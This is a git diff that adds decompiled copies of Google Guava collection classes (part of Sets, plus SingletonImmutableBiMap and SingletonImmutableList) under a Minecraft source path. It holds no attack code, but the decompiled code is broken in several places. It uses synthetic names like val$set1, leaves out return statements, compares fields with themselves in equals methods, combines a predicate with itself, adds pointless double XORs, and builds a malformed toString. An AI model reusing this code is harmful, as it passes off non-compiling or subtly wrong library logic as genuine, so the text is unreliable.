+    if ((elements instanceof Collection)) {
+      Collection<E> collection = (Collection)elements;
+      if (collection.isEmpty()) {
+        return ImmutableSet.of();
+      }
+      return ImmutableEnumSet.asImmutable(EnumSet.copyOf(collection));
+    }
+    
+    Iterator<E> itr = elements.iterator();
+    if (itr.hasNext()) {
+      EnumSet<E> enumSet = EnumSet.of((Enum)itr.next());
+      Iterators.addAll(enumSet, itr);
+      return ImmutableEnumSet.asImmutable(enumSet);
+    }
+    return ImmutableSet.of();
+  }
+  
+
+
+
+
+
+
+
+
+  public static <E extends Enum<E>> EnumSet<E> newEnumSet(Iterable<E> iterable, Class<E> elementType)
+  {
+    EnumSet<E> set = EnumSet.noneOf(elementType);
+    Iterables.addAll(set, iterable);
+    return set;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> HashSet<E> newHashSet()
+  {
+    return new HashSet();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> HashSet<E> newHashSet(E... elements)
+  {
+    HashSet<E> set = newHashSetWithExpectedSize(elements.length);
+    Collections.addAll(set, elements);
+    return set;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> HashSet<E> newHashSetWithExpectedSize(int expectedSize)
+  {
+    return new HashSet(Maps.capacity(expectedSize));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> HashSet<E> newHashSet(Iterable<? extends E> elements)
+  {
+    return (elements instanceof Collection) ? new HashSet(Collections2.cast(elements)) : newHashSet(elements.iterator());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> HashSet<E> newHashSet(Iterator<? extends E> elements)
+  {
+    HashSet<E> set = newHashSet();
+    Iterators.addAll(set, elements);
+    return set;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <E> Set<E> newConcurrentHashSet()
+  {
+    return newSetFromMap(new ConcurrentHashMap());
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> Set<E> newConcurrentHashSet(Iterable<? extends E> elements)
+  {
+    Set<E> set = newConcurrentHashSet();
+    Iterables.addAll(set, elements);
+    return set;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E> LinkedHashSet<E> newLinkedHashSet()
+  {
+    return new LinkedHashSet();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> LinkedHashSet<E> newLinkedHashSetWithExpectedSize(int expectedSize)
+  {
+    return new LinkedHashSet(Maps.capacity(expectedSize));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> LinkedHashSet<E> newLinkedHashSet(Iterable<? extends E> elements)
+  {
+    if ((elements instanceof Collection)) {
+      return new LinkedHashSet(Collections2.cast(elements));
+    }
+    LinkedHashSet<E> set = newLinkedHashSet();
+    Iterables.addAll(set, elements);
+    return set;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable> TreeSet<E> newTreeSet()
+  {
+    return new TreeSet();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E extends Comparable> TreeSet<E> newTreeSet(Iterable<? extends E> elements)
+  {
+    TreeSet<E> set = newTreeSet();
+    Iterables.addAll(set, elements);
+    return set;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static <E> TreeSet<E> newTreeSet(Comparator<? super E> comparator)
+  {
+    return new TreeSet((Comparator)Preconditions.checkNotNull(comparator));
+  }
+  
+
+
+
+
+
+
+
+
+
+  public static <E> Set<E> newIdentityHashSet()
+  {
+    return newSetFromMap(Maps.newIdentityHashMap());
+  }
+  
+
+
+
+
+
+
+
+
+  @GwtIncompatible("CopyOnWriteArraySet")
+  public static <E> CopyOnWriteArraySet<E> newCopyOnWriteArraySet()
+  {
+    return new CopyOnWriteArraySet();
+  }
+  
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("CopyOnWriteArraySet")
+  public static <E> CopyOnWriteArraySet<E> newCopyOnWriteArraySet(Iterable<? extends E> elements)
+  {
+    Collection<? extends E> elementsCollection = (elements instanceof Collection) ? Collections2.cast(elements) : Lists.newArrayList(elements);
+    
+
+    return new CopyOnWriteArraySet(elementsCollection);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E extends Enum<E>> EnumSet<E> complementOf(Collection<E> collection)
+  {
+    if ((collection instanceof EnumSet)) {
+      return EnumSet.complementOf((EnumSet)collection);
+    }
+    Preconditions.checkArgument(!collection.isEmpty(), "collection is empty; use the other version of this method");
+    
+    Class<E> type = ((Enum)collection.iterator().next()).getDeclaringClass();
+    return makeComplementByHand(collection, type);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E extends Enum<E>> EnumSet<E> complementOf(Collection<E> collection, Class<E> type)
+  {
+    Preconditions.checkNotNull(collection);
+    return (collection instanceof EnumSet) ? EnumSet.complementOf((EnumSet)collection) : makeComplementByHand(collection, type);
+  }
+  
+
+
+  private static <E extends Enum<E>> EnumSet<E> makeComplementByHand(Collection<E> collection, Class<E> type)
+  {
+    EnumSet<E> result = EnumSet.allOf(type);
+    result.removeAll(collection);
+    return result;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> Set<E> newSetFromMap(Map<E, Boolean> map)
+  {
+    return Platform.newSetFromMap(map);
+  }
+  
+
+
+
+
+
+
+
+
+  public static abstract class SetView<E>
+    extends AbstractSet<E>
+  {
+    private SetView() {}
+    
+
+
+
+
+
+
+
+
+    public ImmutableSet<E> immutableCopy()
+    {
+      return ImmutableSet.copyOf(this);
+    }
+    
+
+
+
+
+
+
+
+
+    public <S extends Set<E>> S copyInto(S set)
+    {
+      set.addAll(this);
+      return set;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> SetView<E> union(Set<? extends E> set1, final Set<? extends E> set2)
+  {
+    Preconditions.checkNotNull(set1, "set1");
+    Preconditions.checkNotNull(set2, "set2");
+    
+    final Set<? extends E> set2minus1 = difference(set2, set1);
+    
+    new SetView(set1) {
+      public int size() {
+        return val$set1.size() + set2minus1.size();
+      }
+      
+      public boolean isEmpty() { return (val$set1.isEmpty()) && (set2.isEmpty()); }
+      
+      public Iterator<E> iterator() {
+        return Iterators.unmodifiableIterator(Iterators.concat(val$set1.iterator(), set2minus1.iterator()));
+      }
+      
+
+      public boolean contains(Object object) { return (val$set1.contains(object)) || (set2.contains(object)); }
+      
+      public <S extends Set<E>> S copyInto(S set) {
+        set.addAll(val$set1);
+        set.addAll(set2);
+        return set;
+      }
+      
+      public ImmutableSet<E> immutableCopy() { return new ImmutableSet.Builder().addAll(val$set1).addAll(set2).build(); }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> SetView<E> intersection(Set<E> set1, final Set<?> set2)
+  {
+    Preconditions.checkNotNull(set1, "set1");
+    Preconditions.checkNotNull(set2, "set2");
+    
+    final Predicate<Object> inSet2 = Predicates.in(set2);
+    new SetView(set1) {
+      public Iterator<E> iterator() {
+        return Iterators.filter(val$set1.iterator(), inSet2);
+      }
+      
+      public int size() { return Iterators.size(iterator()); }
+      
+      public boolean isEmpty() {
+        return !iterator().hasNext();
+      }
+      
+      public boolean contains(Object object) { return (val$set1.contains(object)) && (set2.contains(object)); }
+      
+      public boolean containsAll(Collection<?> collection) {
+        return (val$set1.containsAll(collection)) && (set2.containsAll(collection));
+      }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> SetView<E> difference(Set<E> set1, final Set<?> set2)
+  {
+    Preconditions.checkNotNull(set1, "set1");
+    Preconditions.checkNotNull(set2, "set2");
+    
+    final Predicate<Object> notInSet2 = Predicates.not(Predicates.in(set2));
+    new SetView(set1) {
+      public Iterator<E> iterator() {
+        return Iterators.filter(val$set1.iterator(), notInSet2);
+      }
+      
+      public int size() { return Iterators.size(iterator()); }
+      
+      public boolean isEmpty() {
+        return set2.containsAll(val$set1);
+      }
+      
+      public boolean contains(Object element) { return (val$set1.contains(element)) && (!set2.contains(element)); }
+    };
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> SetView<E> symmetricDifference(Set<? extends E> set1, Set<? extends E> set2)
+  {
+    Preconditions.checkNotNull(set1, "set1");
+    Preconditions.checkNotNull(set2, "set2");
+    
+
+    return difference(union(set1, set2), intersection(set1, set2));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> Set<E> filter(Set<E> unfiltered, Predicate<? super E> predicate)
+  {
+    if ((unfiltered instanceof SortedSet)) {
+      return filter((SortedSet)unfiltered, predicate);
+    }
+    if ((unfiltered instanceof FilteredSet))
+    {
+
+      FilteredSet<E> filtered = (FilteredSet)unfiltered;
+      Predicate<E> combinedPredicate = Predicates.and(predicate, predicate);
+      
+      return new FilteredSet((Set)unfiltered, combinedPredicate);
+    }
+    
+
+    return new FilteredSet((Set)Preconditions.checkNotNull(unfiltered), (Predicate)Preconditions.checkNotNull(predicate));
+  }
+  
+  private static class FilteredSet<E> extends Collections2.FilteredCollection<E> implements Set<E>
+  {
+    FilteredSet(Set<E> unfiltered, Predicate<? super E> predicate)
+    {
+      super(predicate);
+    }
+    
+    public boolean equals(@Nullable Object object) {
+      return Sets.equalsImpl(this, object);
+    }
+    
+    public int hashCode() {
+      return Sets.hashCodeImpl(this);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <E> SortedSet<E> filter(SortedSet<E> unfiltered, Predicate<? super E> predicate)
+  {
+    return Platform.setsFilterSortedSet(unfiltered, predicate);
+  }
+  
+  static <E> SortedSet<E> filterSortedIgnoreNavigable(SortedSet<E> unfiltered, Predicate<? super E> predicate)
+  {
+    if ((unfiltered instanceof FilteredSet))
+    {
+
+      FilteredSet<E> filtered = (FilteredSet)unfiltered;
+      Predicate<E> combinedPredicate = Predicates.and(predicate, predicate);
+      
+      return new FilteredSortedSet((SortedSet)unfiltered, combinedPredicate);
+    }
+    
+
+    return new FilteredSortedSet((SortedSet)Preconditions.checkNotNull(unfiltered), (Predicate)Preconditions.checkNotNull(predicate));
+  }
+  
+  private static class FilteredSortedSet<E>
+    extends Sets.FilteredSet<E> implements SortedSet<E>
+  {
+    FilteredSortedSet(SortedSet<E> unfiltered, Predicate<? super E> predicate)
+    {
+      super(predicate);
+    }
+    
+    public Comparator<? super E> comparator()
+    {
+      return ((SortedSet)unfiltered).comparator();
+    }
+    
+    public SortedSet<E> subSet(E fromElement, E toElement)
+    {
+      return new FilteredSortedSet(((SortedSet)unfiltered).subSet(fromElement, toElement), predicate);
+    }
+    
+
+    public SortedSet<E> headSet(E toElement)
+    {
+      return new FilteredSortedSet(((SortedSet)unfiltered).headSet(toElement), predicate);
+    }
+    
+    public SortedSet<E> tailSet(E fromElement)
+    {
+      return new FilteredSortedSet(((SortedSet)unfiltered).tailSet(fromElement), predicate);
+    }
+    
+    public E first()
+    {
+      return iterator().next();
+    }
+    
+    public E last()
+    {
+      SortedSet<E> sortedUnfiltered = (SortedSet)unfiltered;
+      for (;;) {
+        E element = sortedUnfiltered.last();
+        if (predicate.apply(element)) {
+          return element;
+        }
+        sortedUnfiltered = sortedUnfiltered.headSet(element);
+      }
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public static <E> NavigableSet<E> filter(NavigableSet<E> unfiltered, Predicate<? super E> predicate)
+  {
+    if ((unfiltered instanceof FilteredSet))
+    {
+
+      FilteredSet<E> filtered = (FilteredSet)unfiltered;
+      Predicate<E> combinedPredicate = Predicates.and(predicate, predicate);
+      
+      return new FilteredNavigableSet((NavigableSet)unfiltered, combinedPredicate);
+    }
+    
+
+    return new FilteredNavigableSet((NavigableSet)Preconditions.checkNotNull(unfiltered), (Predicate)Preconditions.checkNotNull(predicate));
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  private static class FilteredNavigableSet<E> extends Sets.FilteredSortedSet<E> implements NavigableSet<E>
+  {
+    FilteredNavigableSet(NavigableSet<E> unfiltered, Predicate<? super E> predicate)
+    {
+      super(predicate);
+    }
+    
+    NavigableSet<E> unfiltered() {
+      return (NavigableSet)unfiltered;
+    }
+    
+    @Nullable
+    public E lower(E e)
+    {
+      return Iterators.getNext(headSet(e, false).descendingIterator(), null);
+    }
+    
+    @Nullable
+    public E floor(E e)
+    {
+      return Iterators.getNext(headSet(e, true).descendingIterator(), null);
+    }
+    
+    public E ceiling(E e)
+    {
+      return Iterables.getFirst(tailSet(e, true), null);
+    }
+    
+    public E higher(E e)
+    {
+      return Iterables.getFirst(tailSet(e, false), null);
+    }
+    
+    public E pollFirst()
+    {
+      return Iterables.removeFirstMatching(unfiltered(), predicate);
+    }
+    
+    public E pollLast()
+    {
+      return Iterables.removeFirstMatching(unfiltered().descendingSet(), predicate);
+    }
+    
+    public NavigableSet<E> descendingSet()
+    {
+      return Sets.filter(unfiltered().descendingSet(), predicate);
+    }
+    
+    public Iterator<E> descendingIterator()
+    {
+      return Iterators.filter(unfiltered().descendingIterator(), predicate);
+    }
+    
+    public E last()
+    {
+      return descendingIterator().next();
+    }
+    
+
+    public NavigableSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+    {
+      return Sets.filter(unfiltered().subSet(fromElement, fromInclusive, toElement, toInclusive), predicate);
+    }
+    
+
+    public NavigableSet<E> headSet(E toElement, boolean inclusive)
+    {
+      return Sets.filter(unfiltered().headSet(toElement, inclusive), predicate);
+    }
+    
+    public NavigableSet<E> tailSet(E fromElement, boolean inclusive)
+    {
+      return Sets.filter(unfiltered().tailSet(fromElement, inclusive), predicate);
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <B> Set<List<B>> cartesianProduct(List<? extends Set<? extends B>> sets)
+  {
+    return CartesianSet.create(sets);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static <B> Set<List<B>> cartesianProduct(Set<? extends B>... sets)
+  {
+    return cartesianProduct(Arrays.asList(sets));
+  }
+  
+  private static final class CartesianSet<E> extends ForwardingCollection<List<E>> implements Set<List<E>>
+  {
+    private final transient ImmutableList<ImmutableSet<E>> axes;
+    private final transient CartesianList<E> delegate;
+    
+    static <E> Set<List<E>> create(List<? extends Set<? extends E>> sets) {
+      ImmutableList.Builder<ImmutableSet<E>> axesBuilder = new ImmutableList.Builder(sets.size());
+      
+      for (Set<? extends E> set : sets) {
+        ImmutableSet<E> copy = ImmutableSet.copyOf(set);
+        if (copy.isEmpty()) {
+          return ImmutableSet.of();
+        }
+        axesBuilder.add(copy);
+      }
+      ImmutableList<ImmutableSet<E>> axes = axesBuilder.build();
+      ImmutableList<List<E>> listAxes = new ImmutableList()
+      {
+        public int size()
+        {
+          return val$axes.size();
+        }
+        
+        public List<E> get(int index)
+        {
+          return ((ImmutableSet)val$axes.get(index)).asList();
+        }
+        
+        boolean isPartialView()
+        {
+          return true;
+        }
+      };
+      return new CartesianSet(axes, new CartesianList(listAxes));
+    }
+    
+    private CartesianSet(ImmutableList<ImmutableSet<E>> axes, CartesianList<E> delegate)
+    {
+      this.axes = axes;
+      this.delegate = delegate;
+    }
+    
+    protected Collection<List<E>> delegate()
+    {
+      return delegate;
+    }
+    
+
+    public boolean equals(@Nullable Object object)
+    {
+      if ((object instanceof CartesianSet)) {
+        CartesianSet<?> that = (CartesianSet)object;
+        return axes.equals(axes);
+      }
+      return super.equals(object);
+    }
+    
+
+
+
+
+    public int hashCode()
+    {
+      int adjust = size() - 1;
+      for (int i = 0; i < axes.size(); i++) {
+        adjust *= 31;
+        adjust = adjust ^ 0xFFFFFFFF ^ 0xFFFFFFFF;
+      }
+      
+      int hash = 1;
+      for (Set<E> axis : axes) {
+        hash = 31 * hash + size() / axis.size() * axis.hashCode();
+        
+        hash = hash ^ 0xFFFFFFFF ^ 0xFFFFFFFF;
+      }
+      hash += adjust;
+      return hash ^ 0xFFFFFFFF ^ 0xFFFFFFFF;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtCompatible(serializable=false)
+  public static <E> Set<Set<E>> powerSet(Set<E> set)
+  {
+    return new PowerSet(set);
+  }
+  
+  private static final class SubSet<E> extends AbstractSet<E> {
+    private final ImmutableMap<E, Integer> inputSet;
+    private final int mask;
+    
+    SubSet(ImmutableMap<E, Integer> inputSet, int mask) {
+      this.inputSet = inputSet;
+      this.mask = mask;
+    }
+    
+    public Iterator<E> iterator()
+    {
+      new UnmodifiableIterator() {
+        final ImmutableList<E> elements = inputSet.keySet().asList();
+        int remainingSetBits = mask;
+        
+        public boolean hasNext()
+        {
+          return remainingSetBits != 0;
+        }
+        
+        public E next()
+        {
+          int index = Integer.numberOfTrailingZeros(remainingSetBits);
+          if (index == 32) {
+            throw new NoSuchElementException();
+          }
+          remainingSetBits &= (1 << index ^ 0xFFFFFFFF);
+          return elements.get(index);
+        }
+      };
+    }
+    
+    public int size()
+    {
+      return Integer.bitCount(mask);
+    }
+    
+    public boolean contains(@Nullable Object o)
+    {
+      Integer index = (Integer)inputSet.get(o);
+      return (index != null) && ((mask & 1 << index.intValue()) != 0);
+    }
+  }
+  
+  private static final class PowerSet<E> extends AbstractSet<Set<E>> {
+    final ImmutableMap<E, Integer> inputSet;
+    
+    PowerSet(Set<E> input) {
+      ImmutableMap.Builder<E, Integer> builder = ImmutableMap.builder();
+      int i = 0;
+      for (E e : (Set)Preconditions.checkNotNull(input)) {
+        builder.put(e, Integer.valueOf(i++));
+      }
+      inputSet = builder.build();
+      Preconditions.checkArgument(inputSet.size() <= 30, "Too many elements to create power set: %s > 30", new Object[] { Integer.valueOf(inputSet.size()) });
+    }
+    
+    public int size()
+    {
+      return 1 << inputSet.size();
+    }
+    
+    public boolean isEmpty() {
+      return false;
+    }
+    
+    public Iterator<Set<E>> iterator() {
+      new AbstractIndexedListIterator(size()) {
+        protected Set<E> get(int setBits) {
+          return new Sets.SubSet(inputSet, setBits);
+        }
+      };
+    }
+    
+    public boolean contains(@Nullable Object obj) {
+      if ((obj instanceof Set)) {
+        Set<?> set = (Set)obj;
+        return inputSet.keySet().containsAll(set);
+      }
+      return false;
+    }
+    
+    public boolean equals(@Nullable Object obj) {
+      if ((obj instanceof PowerSet)) {
+        PowerSet<?> that = (PowerSet)obj;
+        return inputSet.equals(inputSet);
+      }
+      return super.equals(obj);
+    }
+    
+
+
+
+
+    public int hashCode()
+    {
+      return inputSet.keySet().hashCode() << inputSet.size() - 1;
+    }
+    
+    public String toString() {
+      return "powerSet(" + inputSet + ")";
+    }
+  }
+  
+
+
+  static int hashCodeImpl(Set<?> s)
+  {
+    int hashCode = 0;
+    for (Object o : s) {
+      hashCode += (o != null ? o.hashCode() : 0);
+      
+      hashCode = hashCode ^ 0xFFFFFFFF ^ 0xFFFFFFFF;
+    }
+    
+    return hashCode;
+  }
+  
+
+
+  static boolean equalsImpl(Set<?> s, @Nullable Object object)
+  {
+    if (s == object) {
+      return true;
+    }
+    if ((object instanceof Set)) {
+      Set<?> o = (Set)object;
+      try
+      {
+        return (s.size() == o.size()) && (s.containsAll(o));
+      } catch (NullPointerException ignored) {
+        return false;
+      } catch (ClassCastException ignored) {
+        return false;
+      }
+    }
+    return false;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public static <E> NavigableSet<E> unmodifiableNavigableSet(NavigableSet<E> set)
+  {
+    if (((set instanceof ImmutableSortedSet)) || ((set instanceof UnmodifiableNavigableSet)))
+    {
+      return set;
+    }
+    return new UnmodifiableNavigableSet(set);
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  static final class UnmodifiableNavigableSet<E> extends ForwardingSortedSet<E> implements NavigableSet<E>, Serializable {
+    private final NavigableSet<E> delegate;
+    private transient UnmodifiableNavigableSet<E> descendingSet;
+    private static final long serialVersionUID = 0L;
+    
+    UnmodifiableNavigableSet(NavigableSet<E> delegate) { this.delegate = ((NavigableSet)Preconditions.checkNotNull(delegate)); }
+    
+
+    protected SortedSet<E> delegate()
+    {
+      return Collections.unmodifiableSortedSet(delegate);
+    }
+    
+    public E lower(E e)
+    {
+      return delegate.lower(e);
+    }
+    
+    public E floor(E e)
+    {
+      return delegate.floor(e);
+    }
+    
+    public E ceiling(E e)
+    {
+      return delegate.ceiling(e);
+    }
+    
+    public E higher(E e)
+    {
+      return delegate.higher(e);
+    }
+    
+    public E pollFirst()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+    public E pollLast()
+    {
+      throw new UnsupportedOperationException();
+    }
+    
+
+
+    public NavigableSet<E> descendingSet()
+    {
+      UnmodifiableNavigableSet<E> result = descendingSet;
+      if (result == null) {
+        result = this.descendingSet = new UnmodifiableNavigableSet(delegate.descendingSet());
+        
+        descendingSet = this;
+      }
+      return result;
+    }
+    
+    public Iterator<E> descendingIterator()
+    {
+      return Iterators.unmodifiableIterator(delegate.descendingIterator());
+    }
+    
+
+
+
+
+    public NavigableSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+    {
+      return Sets.unmodifiableNavigableSet(delegate.subSet(fromElement, fromInclusive, toElement, toInclusive));
+    }
+    
+
+
+
+
+    public NavigableSet<E> headSet(E toElement, boolean inclusive)
+    {
+      return Sets.unmodifiableNavigableSet(delegate.headSet(toElement, inclusive));
+    }
+    
+    public NavigableSet<E> tailSet(E fromElement, boolean inclusive)
+    {
+      return Sets.unmodifiableNavigableSet(delegate.tailSet(fromElement, inclusive));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  @GwtIncompatible("NavigableSet")
+  public static <E> NavigableSet<E> synchronizedNavigableSet(NavigableSet<E> navigableSet)
+  {
+    return Synchronized.navigableSet(navigableSet);
+  }
+  
+
+
+  static boolean removeAllImpl(Set<?> set, Iterator<?> iterator)
+  {
+    boolean changed = false;
+    while (iterator.hasNext()) {
+      changed |= set.remove(iterator.next());
+    }
+    return changed;
+  }
+  
+  static boolean removeAllImpl(Set<?> set, Collection<?> collection) {
+    Preconditions.checkNotNull(collection);
+    if ((collection instanceof Multiset)) {
+      collection = ((Multiset)collection).elementSet();
+    }
+    
+
+
+
+
+
+
+    if (((collection instanceof Set)) && (collection.size() > set.size())) {
+      return Iterators.removeAll(set.iterator(), collection);
+    }
+    return removeAllImpl(set, collection.iterator());
+  }
+  
+  @GwtIncompatible("NavigableSet")
+  static class DescendingSet<E> extends ForwardingNavigableSet<E>
+  {
+    private final NavigableSet<E> forward;
+    
+    DescendingSet(NavigableSet<E> forward) {
+      this.forward = forward;
+    }
+    
+    protected NavigableSet<E> delegate()
+    {
+      return forward;
+    }
+    
+    public E lower(E e)
+    {
+      return forward.higher(e);
+    }
+    
+    public E floor(E e)
+    {
+      return forward.ceiling(e);
+    }
+    
+    public E ceiling(E e)
+    {
+      return forward.floor(e);
+    }
+    
+    public E higher(E e)
+    {
+      return forward.lower(e);
+    }
+    
+    public E pollFirst()
+    {
+      return forward.pollLast();
+    }
+    
+    public E pollLast()
+    {
+      return forward.pollFirst();
+    }
+    
+    public NavigableSet<E> descendingSet()
+    {
+      return forward;
+    }
+    
+    public Iterator<E> descendingIterator()
+    {
+      return forward.iterator();
+    }
+    
+
+
+
+
+    public NavigableSet<E> subSet(E fromElement, boolean fromInclusive, E toElement, boolean toInclusive)
+    {
+      return forward.subSet(toElement, toInclusive, fromElement, fromInclusive).descendingSet();
+    }
+    
+    public NavigableSet<E> headSet(E toElement, boolean inclusive)
+    {
+      return forward.tailSet(toElement, inclusive).descendingSet();
+    }
+    
+    public NavigableSet<E> tailSet(E fromElement, boolean inclusive)
+    {
+      return forward.headSet(fromElement, inclusive).descendingSet();
+    }
+    
+
+    public Comparator<? super E> comparator()
+    {
+      Comparator<? super E> forwardComparator = forward.comparator();
+      if (forwardComparator == null) {
+        return Ordering.natural().reverse();
+      }
+      return reverse(forwardComparator);
+    }
+    
+
+    private static <T> Ordering<T> reverse(Comparator<T> forward)
+    {
+      return Ordering.from(forward).reverse();
+    }
+    
+    public E first()
+    {
+      return forward.last();
+    }
+    
+    public SortedSet<E> headSet(E toElement)
+    {
+      return standardHeadSet(toElement);
+    }
+    
+    public E last()
+    {
+      return forward.first();
+    }
+    
+    public SortedSet<E> subSet(E fromElement, E toElement)
+    {
+      return standardSubSet(fromElement, toElement);
+    }
+    
+    public SortedSet<E> tailSet(E fromElement)
+    {
+      return standardTailSet(fromElement);
+    }
+    
+    public Iterator<E> iterator()
+    {
+      return forward.descendingIterator();
+    }
+    
+    public Object[] toArray()
+    {
+      return standardToArray();
+    }
+    
+    public <T> T[] toArray(T[] array)
+    {
+      return standardToArray(array);
+    }
+    
+    public String toString()
+    {
+      return standardToString();
+    }
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SingletonImmutableBiMap.java b/src/minecraft/com/google/common/collect/SingletonImmutableBiMap.java
new file mode 100644
index 0000000..b8096ab
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SingletonImmutableBiMap.java
@@ -0,0 +1,98 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import java.util.Map.Entry;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class SingletonImmutableBiMap<K, V>
+  extends ImmutableBiMap<K, V>
+{
+  final transient K singleKey;
+  final transient V singleValue;
+  transient ImmutableBiMap<V, K> inverse;
+  
+  SingletonImmutableBiMap(K singleKey, V singleValue)
+  {
+    CollectPreconditions.checkEntryNotNull(singleKey, singleValue);
+    this.singleKey = singleKey;
+    this.singleValue = singleValue;
+  }
+  
+  private SingletonImmutableBiMap(K singleKey, V singleValue, ImmutableBiMap<V, K> inverse)
+  {
+    this.singleKey = singleKey;
+    this.singleValue = singleValue;
+    this.inverse = inverse;
+  }
+  
+  SingletonImmutableBiMap(Map.Entry<? extends K, ? extends V> entry) {
+    this(entry.getKey(), entry.getValue());
+  }
+  
+  public V get(@Nullable Object key) {
+    return singleKey.equals(key) ? singleValue : null;
+  }
+  
+  public int size()
+  {
+    return 1;
+  }
+  
+  public boolean containsKey(@Nullable Object key) {
+    return singleKey.equals(key);
+  }
+  
+  public boolean containsValue(@Nullable Object value) {
+    return singleValue.equals(value);
+  }
+  
+  boolean isPartialView() {
+    return false;
+  }
+  
+  ImmutableSet<Map.Entry<K, V>> createEntrySet()
+  {
+    return ImmutableSet.of(Maps.immutableEntry(singleKey, singleValue));
+  }
+  
+  ImmutableSet<K> createKeySet()
+  {
+    return ImmutableSet.of(singleKey);
+  }
+  
+
+
+
+  public ImmutableBiMap<V, K> inverse()
+  {
+    ImmutableBiMap<V, K> result = inverse;
+    if (result == null) {
+      return this.inverse = new SingletonImmutableBiMap(singleValue, singleKey, this);
+    }
+    
+    return result;
+  }
+}
diff --git a/src/minecraft/com/google/common/collect/SingletonImmutableList.java b/src/minecraft/com/google/common/collect/SingletonImmutableList.java
new file mode 100644
index 0000000..dceb6ec
--- /dev/null
+++ b/src/minecraft/com/google/common/collect/SingletonImmutableList.java
@@ -0,0 +1,118 @@
+package com.google.common.collect;
+
+import com.google.common.annotations.GwtCompatible;
+import com.google.common.base.Preconditions;
+import java.util.List;
+import javax.annotation.Nullable;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+@GwtCompatible(serializable=true, emulated=true)
+final class SingletonImmutableList<E>
+  extends ImmutableList<E>
+{
+  final transient E element;
+  
+  SingletonImmutableList(E element)
+  {
+    this.element = Preconditions.checkNotNull(element);
+  }
+  
+  public E get(int index)
+  {
+    Preconditions.checkElementIndex(index, 1);
+    return element;
+  }
+  
+  public int indexOf(@Nullable Object object) {
+    return element.equals(object) ? 0 : -1;
+  }
+  
+  public UnmodifiableIterator<E> iterator() {
+    return Iterators.singletonIterator(element);
+  }
+  
+  public int lastIndexOf(@Nullable Object object) {
+    return indexOf(object);
+  }
+  
+  public int size()
+  {
+    return 1;
+  }
+  
+  public ImmutableList<E> subList(int fromIndex, int toIndex) {
+    Preconditions.checkPositionIndexes(fromIndex, toIndex, 1);
+    return fromIndex == toIndex ? ImmutableList.of() : this;
+  }
+  
+  public ImmutableList<E> reverse() {
+    return this;
+  }
+  
+  public boolean contains(@Nullable Object object) {
+    return element.equals(object);
+  }
+  
+  public boolean equals(@Nullable Object object) {
+    if (object == this) {
+      return true;
+    }
+    if ((object instanceof List)) {
+      List<?> that = (List)object;
+      return (that.size() == 1) && (element.equals(that.get(0)));
+    }
+    return false;
+  }
+  
+
+  public int hashCode()
+  {
+    return 31 + element.hashCode();
+  }
+  
+  public String toString() {
+    String elementToString = element.toString();
+    return elementToString.length() + 2 + '[' + elementToString + ']';
+  }
+  
+
+
+
